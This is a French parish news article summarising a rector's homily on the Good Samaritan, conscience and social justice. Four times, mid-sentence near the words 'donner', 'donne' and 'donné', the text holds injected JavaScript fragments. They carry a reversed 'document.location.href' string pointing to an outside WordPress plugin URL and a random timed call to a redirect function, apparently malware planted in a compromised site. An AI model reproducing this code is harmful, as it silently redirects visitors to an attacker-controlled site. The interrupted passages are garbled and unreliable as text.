La célébration eucharistique de ce quinzième dimanche du Temps Ordinaire a été présidée par le Père Recteur qui vient d’entrer dans ces fonctions il y a une semaine, le Père Longin NTIRANYIBAGIRA. La chorale Sancta Maria avait aidé dans l’animation du chant au cours de la sainte Messe. Les lectures du jour ont été respectivement tirées du Livre du Deutéronome (10, 10-14), de l’Epitre de saint Paul Apôtre aux Colossiens (1, 15-20) et de l’Évangile selon saint Luc (10, 25-37).
Dans son homélie, le Père Recteur a commencé à préciser que Dieu a un projet d’amour pour chacun de nous. Et chaque fois qu’il se révèle à nous, il nous révèle en même temps sa puissance afin que nous nous approchions de Lui sans peur ni crainte. Le dialogue que Jésus a entretenu avec un pharisien dans l’Evangile nous révèle l’amour de Dieu pour nous, ses créatures. Par les mots de Jésus, nous avons compris que nous sommes fils et filles du Dieu qui veut que nous vivions heureux en Lui. Dans le premier moment, le pharisien avait un plan de mettre Jésus à l’épreuve par des questions qu’il croyait embêtantes. Il savait en effet ce qu’il fallait faire, et cela lui vient en l’esprit comme il en est le cas pour toute autre personne. Cette capacité de savoir en nous-même ce qui est bon à faire et le mal à éviter c’est la conscience qui est en nous. Tous les enseignements de Jésus viennent pour forer les consciences.
Le Concile de Vatican II, dans son numéro 16, définit la conscience comme un endroit qui est au fond de tout un chacun et lui demande de faire le bien et d’éviter le mal. Cette loi a été mise en nous par Dieu seul. C’est en substance que la première lecture nous a précisé. Cette Parole reste et demeure dans notre conscience et nous rappelle chaque fois le bien que nous n’avons pas fait alors qu’il valait la peine, tout comme elle étale devant nous le mal que nous avons fait. Vers la fin de son dialogue avec le pharisien, Jésus lui a dit ‘Va et fais de même et tu vivras’. Tout le monde veut vivre, et il y a des gens qui, à cause de la peur de la mort, construisent des infrastructures gigantesques et y mettent leur nom dans l’espérance que des générations toutes entières nous l’oublierons pas. De toutes les façons, on finit par l’oublier. La bonne manière pour vivre pour toujours est de faire ce que Jésus a répondu au pharisien à la fin de leur dialogue comme nous venons de le mentionner ci-haut.
Un écrivain a produit un livre qu’il a appelé Les Dix Commandements, pour quoi faire ? Dans sa pensée, il montre comment les gens de ces temps-ci pensent beaucoup et finissent à faire juste le contraire de ce qu’il fallait. Il montre par exemple que quand ils voient une personne qui a faim et qui a besoin de quoi manger, ils tiennent des réunions pour étudier d’éventuelles conséquences de la faim sur leur vie au lieu de lui toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donner directement ce toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont elle a besoin. Ils font de même quand il y a autour d’eux un pauvre qui est nu ou qui souffre de telle ou telle autre manière. Ce qui est choquant c’est que des sommes énormes d’argent sont dépensées dans des soi-disant enquêtes devant des situations qui mériteraient des actions d’aide humanitaire en urgence en faveur des personnes en difficulté. En réalité, ce sont de telles actions humanitaires qui constituent la justice sociale. Celle-ci considère toute la personne dans sa dignité et sa liberté. Elle est différente du droit. Qu’il y ait des gens qui meurent de faim juste à côté d’autres qui jettent des restes de leur nourriture n’est pas du tout facile à expliquer et à comprendre, surtout que cela se passe dans un même quartier, et sur une même route dans des maisons l’une à côté de l’autre.
Dans la prière du synode diocésain, nous disons que c’est Dieu seul qui a créé toutes les personnes dans son amour. Comme cet amour divin ne fait pas de distinction entre les personnes, nous estimons qu’il ne devrait pas y avoir de telles inégalités et distinctions sociales entre les égaux. Nous devons tout faire pour aider notre prochain, à commencer par de petites choses qui ne nécessitent pas que nous fournissions beaucoup d’efforts ou tant de moyens financiers. Comme nous sommes créés par un même Père, cultivons l’habitude de faire justice à tout le monde. C’est cela même que le Pape François nous rappelle quand il a publié son encyclique ‘Frater tutti’, Nous sommes tous des frères et sœurs. Aussi longtemps que nous penserons à garder jalousement ce que nous avons sans jamais le partager avec d’autres, le mal ne fera que demeurer et s’étendre partout. En fin, contemplons Jésus qui nous toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne la vie de Dieu et qui nous appelle à le suivre sur la voie de la vie éternelle. ‘Que Dieu nous bénisse et nous garde dans la voie de l’amour et la sympathie les uns pour les autres comme Jésus nous en a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné l’exemple dans sa vie. Puisse aussi la Vierge Marie intercéder pour nous,’ a conclu le Père Recteur.
NYANDWI M.